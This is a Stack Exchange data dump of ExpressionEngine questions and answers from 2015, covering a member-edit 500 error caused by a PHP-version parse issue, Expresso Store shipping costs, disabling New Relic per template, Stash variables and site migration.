  <row Id="31263" PostTypeId="1" AcceptedAnswerId="31277" CreationDate="2015-04-30T18:19:38.403" Score="1" ViewCount="172" Body="&lt;p&gt;After updating EE to 2.10.. I have a blank (500 error) when i try to edit a member!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;flush all the cache,&lt;/li&gt;&#xA;&lt;li&gt;Create and edit new member&lt;/li&gt;&#xA;&lt;li&gt;Other browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced /expressionengine/controllers/myaccount.php with the 2.9.3 version and it's working.. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="2774" LastEditDate="2015-05-01T01:06:41.097" LastActivityDate="2015-05-05T12:23:06.250" Title="Member page - 500 Error EE 2.10" Tags="|control-panel|admin|member-management|member-details|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31264" PostTypeId="1" CreationDate="2015-04-30T18:29:11.613" Score="0" ViewCount="77" Body="&lt;p&gt;My customer wants to charge a 2% shipping insurance cost if the user selects credit card as Payment method is there a way to add tis cost in Expresso Store?&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2019-01-04T00:47:40.387" Title="Expresso Store add shipping insurance based on Payment method" Tags="|expresso-store|expresso|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31265" PostTypeId="2" ParentId="31264" CreationDate="2015-04-30T20:08:44.497" Score="2" Body="&lt;p&gt;There is nothing out of the box that would allow you to do this. The best option would be to build an extension that uses one of &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#store_order_recalculate_end&quot; rel=&quot;nofollow&quot;&gt;store_order_recalculate&lt;/a&gt; hook to add the percentage to the order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would be to modify the payment gateway in question to add the 2%. If the gateway is one of the default you will need to reapply this each time you update Store. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-04-30T22:14:45.450" LastActivityDate="2015-04-30T22:14:45.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31266" PostTypeId="1" AcceptedAnswerId="31279" CreationDate="2015-04-30T22:15:09.967" Score="0" ViewCount="408" Body="&lt;p&gt;Is there any way to disable the New Relic script tag from being output in a single template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab's docs say you can disable it via the control panel overall, but I really need it removed just from a single template (which becomes an email template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/monitoring/new-relic.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/monitoring/new-relic.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2015-05-01T17:09:41.077" Title="Disable New Relic Script for one template" Tags="|email|javascript|html-email|settings|newrelic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31267" PostTypeId="2" ParentId="31192" CreationDate="2015-04-30T22:27:11.317" Score="2" Body="&lt;p&gt;You can start from this &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/introduction-to-template-routes-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;Mike Boyink's tutorial&lt;/a&gt; it is very clear and help me to understand better templates route&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2015-04-30T22:27:11.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31268" PostTypeId="1" AcceptedAnswerId="31510" CreationDate="2015-04-30T22:33:17.007" Score="0" ViewCount="81" Body="&lt;p&gt;I have an Event entry which can has one child Location entry. The Location entry has two fields: Title and Floor. Sometimes floor is empty so I'm doing this in my template to see if there's a floor entered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;&#xA;  {event_location:title}&#xA;  {if event_location:floor}&#xA;    , {event_location:floor}&#xA;  {/if}&#xA;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and it's not working. Title always shows up and Floor never does unless I take off the conditional, which I don't want to do because I don't want a comma followed by nothing when there's no floor. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6121" LastActivityDate="2015-05-15T18:10:58.860" Title="How do I check for an empty field in a child entry?" Tags="|conditionals|related-entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31269" PostTypeId="2" ParentId="31268" CreationDate="2015-05-01T00:59:02.823" Score="3" Body="&lt;p&gt;What version are you using? We fixed this problem in 2.9.3, though you can apply &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20621&quot; rel=&quot;nofollow&quot;&gt;the solution&lt;/a&gt; if you'd rather not update.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Open &lt;code&gt;system/expressionengine/libraries/channel_entries_parser/Preparser.php&lt;/code&gt; and find the &lt;code&gt;_find_modified_conditionals()&lt;/code&gt; method around line 374, and &lt;strong&gt;replace&lt;/strong&gt; it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _find_modified_conditionals()&#xA;{&#xA;    $prefix = $this-&amp;gt;_prefix;&#xA;    $unfiltered_all_field_names = array();&#xA;    $all_field_names = array();&#xA;&#xA;    if (strpos($this-&amp;gt;_tagdata, LD.'if') === FALSE)&#xA;    {&#xA;        return array();&#xA;    }&#xA;&#xA;    foreach($this-&amp;gt;_channel-&amp;gt;cfields as $site_id =&amp;gt; $fields)&#xA;    {&#xA;        $unfiltered_all_field_names = array_unique(array_merge($unfiltered_all_field_names, $fields));&#xA;    }&#xA;&#xA;    // Do a rough cut to slim down the number of fields&#xA;    // else the string can be too long for the preg_match_all&#xA;    foreach (array_keys($unfiltered_all_field_names) as $name)&#xA;    {&#xA;        if (strpos($this-&amp;gt;_tagdata, $name) !== FALSE)&#xA;        {&#xA;            $all_field_names[] = $name;&#xA;        }&#xA;    }       &#xA;&#xA;    $modified_field_options = $prefix.implode('|'.$prefix, $all_field_names);&#xA;    $modified_conditionals = array();&#xA;&#xA;    if (preg_match_all(&quot;/&quot;.preg_quote(LD).&quot;((if:(else))*if)\s+(($modified_field_options):(\w+))(.*?)&quot;.preg_quote(RD).&quot;/s&quot;, $this-&amp;gt;_tagdata, $matches))&#xA;    {&#xA;        foreach($matches[5] as $match_key =&amp;gt; $field_name)&#xA;        {&#xA;            $modified_conditionals[$field_name][] = $matches[6][$match_key];&#xA;        }&#xA;    }&#xA;&#xA;    return array_map('array_unique', $modified_conditionals);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-05-01T00:59:02.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31270" PostTypeId="2" ParentId="31266" CreationDate="2015-05-01T01:01:42.163" Score="1" Body="&lt;p&gt;There's no way of doing this currently, but I can add it to our list of things to think about. Maybe a hidden config where you can add template group and template pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['newrelic_template_ignore'] = array(&#xA;    'template_group/template',&#xA;    'other_template_group/*'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-05-01T01:01:42.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31271" PostTypeId="2" ParentId="31251" CreationDate="2015-05-01T01:07:30.363" Score="0" Body="&lt;p&gt;I'm one of the developers at EllisLab and I just tried uploading a file on a 2.10.0 install of mine and had no issues. Have you tried disabling extensions?&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-05-01T01:07:30.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31272" PostTypeId="1" AcceptedAnswerId="31285" CreationDate="2015-05-01T08:35:35.450" Score="1" ViewCount="62" Body="&lt;p&gt;Has anyone used the following add-on 'Export it' : &lt;a href=&quot;https://mithra62.com/projects/feature/export-it/&quot; rel=&quot;nofollow&quot;&gt;https://mithra62.com/projects/feature/export-it/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to export all Zoo visitor members from the database and I've had no joy with &quot;AJW_Export&quot;. Anyone any advice if this add-on does the job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2015-05-03T12:44:55.013" Title="Export it - Zoo Visitor" Tags="|zoo-visitor|export|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31273" PostTypeId="2" ParentId="26362" CreationDate="2015-05-01T13:50:18.910" Score="0" Body="&lt;p&gt;After posting this question, i had the problem several times (under subdomain, main account etc.. .)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that having a index.html file at the root was the problem!.. Removed the file and Voila!! it's working now.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I maybe should have change the htaccess to redirect the .html file but i didn't need it then...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it will help someone!&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2015-05-01T13:50:18.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31274" PostTypeId="1" AcceptedAnswerId="31294" CreationDate="2015-05-01T13:59:43.070" Score="1" ViewCount="72" Body="&lt;p&gt;Is there a way to override the Cartthrob license key generation process?  Currently Cartthrob just defaults to a UUID, but we have a more in-depth license generation process that is required for our project.  I can probably hook into &lt;code&gt;cartthrob_on_authorize&lt;/code&gt;, but am wondering if there is a better way.&lt;/p&gt;&#xA;" OwnerUserId="6264" LastActivityDate="2015-05-04T15:07:56.020" Title="Override the Cartthrob license key generation process" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31275" PostTypeId="1" CreationDate="2015-05-01T14:49:10.780" Score="1" ViewCount="144" Body="&lt;p&gt;Password reset email does not include &lt;code&gt;http://www.mywebsite.com&lt;/code&gt; in url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's only showing this: &lt;code&gt;/manage.php?D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;id=2AJKS6Rs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per other forums with related issues, I've changed site index in config, removed .htaccess, but with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what the issue is and how to resolve? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-05-01T14:49:10.780" Title="Site Url missing from password reset url in email" Tags="|email|password|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31276" PostTypeId="2" ParentId="31263" CreationDate="2015-05-01T16:06:33.947" Score="0" Body="&lt;p&gt;I found a solution/workaround... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced /expressionengine/controllers/myaccount.php with the 2.9.3 version and it's working..&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2015-05-01T16:06:33.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31277" PostTypeId="2" ParentId="31263" CreationDate="2015-05-01T16:28:42.757" Score="1" Body="&lt;p&gt;I believe I've found the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the quickest, non core file modifying answer, then it is simply Upgrade to PHP5.5 or better! Otherwsie read on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically this all comes down to &lt;strong&gt;PHP Version&lt;/strong&gt;. The actual issue is in the file &lt;code&gt;/system/expressionengine/controllers/cp/myaccount.php&lt;/code&gt; as the OP suggests. The function at fault is &lt;code&gt;update_signiture()&lt;/code&gt; and the line numbers are 1358 to 1365. Excerpt :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Do we have what we need in $_POST?&#xA;    if (empty(ee()-&amp;gt;input-&amp;gt;post('signature'))&#xA;        &amp;amp;&amp;amp; empty(ee()-&amp;gt;input-&amp;gt;post('remove'))&#xA;        &amp;amp;&amp;amp; (empty($_FILES) &amp;amp;&amp;amp; ee()-&amp;gt;config-&amp;gt;item('sig_allow_img_upload') == 'y'))&#xA;    {&#xA;        return ee()-&amp;gt;functions-&amp;gt;redirect(&#xA;            cp_url('myaccount/edit_signature', $params)&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you notice the function calls within the &lt;code&gt;empty()&lt;/code&gt; statements? Well, according to the &lt;a href=&quot;http://php.net/manual/en/function.empty.php&quot; rel=&quot;nofollow&quot;&gt;PHP Documentation on empty()&lt;/a&gt;, and I quote : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Prior to PHP 5.5, &lt;strong&gt;empty()&lt;/strong&gt; only supports variables; anything else will result in a parse error. In other words, the following will not work: &lt;strong&gt;empty(trim($name))&lt;/strong&gt;. Instead, use &lt;strong&gt;trim($name) == false&lt;/strong&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;SO, armed with this knowledge the fix is quite straigh forward. If you are using PHP &amp;lt; 5.5 you need to patch this statement, unfortunatly the advise on php.net will also cause the WSOD error, but what you can do is call the 2 &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post()&lt;/code&gt; functions prior to the &lt;code&gt;if&lt;/code&gt; statement and test the result, or to make it easier update the code to the following : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Do we have what we need in $_POST?&#xA;    $sig = ee()-&amp;gt;input-&amp;gt;post('signature');&#xA;    $rem = ee()-&amp;gt;input-&amp;gt;post('remove');&#xA;    if (empty($sig) &#xA;        &amp;amp;&amp;amp; empty($rem) &#xA;        &amp;amp;&amp;amp; (empty($_FILES) &amp;amp;&amp;amp; ee()-&amp;gt;config-&amp;gt;item('sig_allow_img_upload') == 'y'))&#xA;    {&#xA;        return ee()-&amp;gt;functions-&amp;gt;redirect(&#xA;            cp_url('myaccount/edit_signature', $params)&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you go, tested on a fresh install, that should get you rocking and rolling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In point of fact, in EE 2.9.3 this code chunk is as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Do we have what we need in $_POST?&#xA;    if ( ! ee()-&amp;gt;input-&amp;gt;post('signature')&#xA;        &amp;amp;&amp;amp; ! ee()-&amp;gt;input-&amp;gt;post('remove'))&#xA;    {&#xA;        return ee()-&amp;gt;functions-&amp;gt;redirect(&#xA;            cp_url('myaccount/edit_signature', $params)&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So while the workaround (use myaccount.php from EE 2.9.3) will work, you are removing the added security checks for &lt;code&gt;empty($_FILES)&lt;/code&gt; and &lt;code&gt;ee()-&amp;gt;config-&amp;gt;item('sig_allow_img_upload') == 'y'&lt;/code&gt;. Either solution is as adaquate as the other IMHO, as either method results in core file changes. However if you use myaccount.php from an older version I would consider adding those 2 extra checks in so you don't lose any desired patch work EllisLabs have contributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have submitted this bug to EllisLabs here : &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20954&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20954&lt;/a&gt; , as they state the PHP requirment for 2.10.0 is PHP 5.3.10 or newer, either they can patch this function or change the requirement to &gt;PHP5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone on the bleeding edge of EE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;&#xA;In order to regain the missing Account Edit screens, all you need to do is go into CP, then &lt;code&gt;Member -&amp;gt; Preferences&lt;/code&gt; and update the &lt;code&gt;Allow New Member Registrations?&lt;/code&gt; field to &lt;code&gt;Yes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just looking at why this effects the edit account screen now. I will add to my answer (and submit a bug report to EllisLabs, as you can replicate this behaviour out the box, fresh install) once I've ironed out why the My Account screen is now linked to the Allow New Member preference.&lt;/strike&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-05T12:23:06.250" LastActivityDate="2015-05-05T12:23:06.250" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31278" PostTypeId="2" ParentId="31264" CreationDate="2015-05-01T16:29:12.777" Score="0" Body="&lt;p&gt;You could create a &quot;tax&quot; for it, that applies to any country and region, and call it &quot;Shipping Insurance&quot;. That seems to be the most straight way, but of course it would be applied to all payment methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View docs &lt;a href=&quot;https://www.exp-resso.com/docs/settings_tax_rates.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1139" LastActivityDate="2015-05-01T16:29:12.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31279" PostTypeId="2" ParentId="31266" CreationDate="2015-05-01T17:09:41.077" Score="1" Body="&lt;p&gt;Have you tried the New Relic PHP api??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.newrelic.com/docs/agents/php-agent/configuration/php-agent-api&quot; rel=&quot;nofollow&quot;&gt;https://docs.newrelic.com/docs/agents/php-agent/configuration/php-agent-api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newrelic_disable_autorum (  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps if you turned PHP (output) on in your header embeds/templates, you could do something like this before your doctype declaration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (extension_loaded('newrelic') &amp;amp;&amp;amp;&#xA;    &quot;{segment_1}/{segment_2}&quot; == &quot;email/contact&quot;)&#xA;{&#xA;    newrelic_disable_autorum();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-01T17:09:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31280" PostTypeId="1" CreationDate="2015-05-01T19:23:32.597" Score="0" ViewCount="650" Body="&lt;p&gt;I am trying to upload photos to one of my categories on my site which I have done several times before but it is now telling me that &quot;The upload path does not appear to be valid.&quot;  How can I fix this so I can upload my pictures to my site?  I can go to another category and it will allow but not under the one I need.&lt;/p&gt;&#xA;" OwnerUserId="6265" LastActivityDate="2015-05-01T19:23:32.597" Title="Can't upload photo. Says &quot;The upload path does not appear to be valid.&quot;" Tags="|categories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31281" PostTypeId="1" CreationDate="2015-05-02T03:44:46.850" Score="0" ViewCount="85" Body="&lt;p&gt;I'm testing a site with Store and the AUS Post extension. Customers enter billing and shipping addresses, then choose the shipping method on the next page. Shipping within AUS is set to a low flat rate per item, and shipping to other countries calculated by weight. If an AUS order for local delivery is created but not paid, then someone goes back and adds more items, it's fine - the shipping cost is recalculated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if someone goes back and just changes the shipping country (e.g. Australia to Austria - so similar!), the shipping cost goes to zero. This is clearly wrong, but I don't know why it's happening. Does anyone know a fix, or else a way to get Store to recalculate the shipping_order? I can't force this by re-setting shipping_method, because this can only be done once for a new cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &#xA;After the shipping has been calculated I can check if order_subtotal == order_total. As there should always be a shipping cost, I can show a warning and a link back to shipping details instead of a submit button.&#xA;Testing if order_shipping_total &gt; 0 doesn't give a proper result, probably because the field includes a currency symbol etc.&#xA;(later) ...Well the above check is OK, but it looks as if the Australia Post Extension stopped working for me a while ago. It was OK to begin with but now it will only deal with a rate per item. I've tried reinstalling it but that hasn't made any difference. &lt;/p&gt;&#xA;" OwnerUserId="1614" LastEditorUserId="1614" LastEditDate="2015-05-02T22:01:11.677" LastActivityDate="2015-05-02T22:01:11.677" Title="Expresso Store order_shipping is zero after country change" Tags="|expresso-store|shipping|update|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31282" PostTypeId="1" CreationDate="2015-05-03T01:46:30.170" Score="0" ViewCount="32" Body="&lt;p&gt;Don't say it's for flexibility!  If flexibility is all that matters, where is software for making a whole website by typing everything freeform all into one field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we draw lines, make judgments, to make the system practical.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I AM MOVING AN EE SITE NOW&#xA;Right now I am moving an ee site I have moved a few times, and every time, it is a super pain the butt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to give an example, below, of how EE handles a new path to where it runs, then how another system does it.  I pray no one will defend the dumb way EE has this setup.  I pray also the mastermind of this scheme, come forward, admit the problem, apologize, promise to fix it, and then fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXPRESSION ENGINE SETUP&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9d2EV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANOTHER SYSTEM&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8oel3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6268" LastActivityDate="2015-05-03T12:39:42.370" Title="Why Is It Necessary to tell Expression where it is the file system and why more than once?" Tags="|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31284" PostTypeId="2" ParentId="31282" CreationDate="2015-05-03T12:39:42.370" Score="3" Body="&lt;p&gt;You are probably not going to get the answer you are looking for and I have no idea why EllisLab chose to do what they did when building EE as I am not part of their team. Having said that I recommend you email them and ask them personally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer your main issue of changing paths and urls easily. EllisLab has setup EE to handle a bunch of configuration details via the config.php file in your system folder. More documentation for those can be found in their &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html&quot; rel=&quot;nofollow&quot;&gt;user guide&lt;/a&gt;. While not shipped with EE there are many great tools to help you with this &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab Master Config&lt;/a&gt; is a free option that I use as a base for every site I work on, and allows easy migrations. I move at least a site or two a week for people and after the 15-20 minutes it takes to make sure everything is configured I can do a complete server move in under 5 minutes. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-05-03T12:39:42.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31285" PostTypeId="2" ParentId="31272" CreationDate="2015-05-03T12:44:55.013" Score="1" Body="&lt;p&gt;Zoo Visitor stores data as channel entires so you should be fine using Export It since it allows exporting of channel data. I have not personally tried exporting Zoo Visitor data but I assume passwords might be your only issue since they are not stored in the DB as plain text but are salted. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-05-03T12:44:55.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31286" PostTypeId="1" AcceptedAnswerId="31292" CreationDate="2015-05-03T19:17:30.587" Score="1" ViewCount="45" Body="&lt;p&gt;I have this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;katalog&quot; limit=&quot;12&quot; dynamic=&quot;yes&quot; status=&quot;open&quot; show_future_entries=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;member_data&quot; pagination=&quot;bottom&quot;}&#xA;&#xA;{!-- if entry has one of those three categories then set variable link to true --}&#xA;{categories show=&quot;51|50|39&quot;}&#xA;      {exp:stash:set_value name=&quot;link&quot; value=&quot;true&quot;}&#xA;{/categories}&#xA;&#xA;{if &quot;{exp:stash:get name='link'}&quot; == &quot;true&quot;}&#xA;//then print content1&#xA;{if:else}&#xA;//print content2&#xA;{/if}&#xA;&#xA;{!-- delete stash variable and go for next loop because channel entries will do this 12 times --}&#xA;{exp:stash:unset name=&quot;link&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what happens is this. If first entry in pagination has some category, then stash variable will be set to true for all 12 entries shown on that pagination page. Likewise, if first entry does not have any category added to itself then  variable link will not be set to &quot;true&quot; and other part of if condition will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make stash to overwrite it's values ... what am I doing wrong? I need categories for this problem, but I am not sure what else to use.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-05-04T13:36:41.983" Title="Something wrong in Stash usage and cannot figure out what" Tags="|channel-entries|stash|entries|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31287" PostTypeId="2" ParentId="26031" CreationDate="2015-05-03T22:25:59.297" Score="0" Body="&lt;p&gt;To expand on Peter's answer above,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would add a hidden field named language and use &lt;a href=&quot;https://devot-ee.com/add-ons/evopost&quot; rel=&quot;nofollow&quot;&gt;EVOPost&lt;/a&gt; to send the value to another template which redirects the user based on the value of the hidden language field.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-05-03T22:25:59.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31288" PostTypeId="1" CreationDate="2015-05-04T05:46:46.863" Score="-4" ViewCount="73" Body="&lt;p&gt;Tbe main think I love about errors not displaying them on the screen viewing production systems.  My phone rings less, people are happier.  Everything is logged, nothing to the screen.  We have a great working relationship thoese errors and me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;****Except**** one of our apps, called EE or ****ExpressionEngine****.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation is EllisLab's patented sleek, competent-looking airhead documentation  It looks sounds great.  If they would add the rest of the critical information then it would be good.  No hint, except experience tells you,  there are  well known (but not to you) absolutely critical elements for getting the system work right. Not much is worse than doing a long process to a T, and your system is not working and no have idea why.    Most of the these  holes in the story are small, that is how they are forgotten and left out.  Error handling from Ellis lab is the opposite of small.  It is like the Jolly Green Giant, who smiles, but you don't want him overt for dinner, he is to freaking big.  EllisLab's error handling is their way making themselves into a Komodo Dragon.  The only thing you want from them both is the same thing:  to go away and if you never see one or the other again, doesn't matter which, or if it's both, non-contact for the rest of your life will not be the cause of a problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If their documentatiin did not double as marketing material, the  phony could get edited out.  EllisLab's Error reporting documentation is excellent in making me think  its  all info will put me in control of my system.  Error_display on Error_display off, sounds easy, display means to the screen so your turn it off, what else is there to  know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Excuse me, but could tell if you know of any error-message pipelines in the area?  Some people are getting error-messages in their water. It looks it would make them sick,  &quot;Oh, it's just a php notice.&quot;: But I turned those off in the php.ihi file!  EE looks at me like that is supposed to mean something, and I it thought.   I  never was thinking no one should be able to override anything in the app but that comes with responsibility exercised poorly by Ellis lab.  So who was begging for error handling that made it became such a big part of their systems?  Ellis lab has some kind fetish  for error handling. Like most fetishes, I don't care what people do, but when a fetish, no matter what it is, results in foreign goo on computer screens I am responsible for filling with pixel-perfect content, then i have a problem, because it makes my phone ring  when I had made plans to move forward, not  backward, fixing an unnecessaery broken error handler. The errors are not the problem it i the error handling, especially screen diplay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:  How do you kill EE's 40-headed error-reporting dragon? there must be an addon to fix that parts that don't work but also are not needed.&lt;/p&gt;&#xA;" OwnerUserId="6268" LastActivityDate="2015-05-04T13:50:21.660" Title="How Do You Kll EE's 40-Headed Error-Reporting Dagon?" Tags="|error|php-errors|database-error|config-overrides|" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-05T13:40:27.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="31289" PostTypeId="1" CreationDate="2015-05-04T05:59:26.597" Score="0" ViewCount="63" Body="&lt;p&gt;Site was moved to a different server. Trying to add/upload an image via the wygwam field but get the below error after selecting the image:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File exceeds maximum dimensions and is not resizable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2016-05-22T05:14:01.603" Title="File exceeds maximum dimensions and is not resizable" Tags="|wygwam|file-uploads|image|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
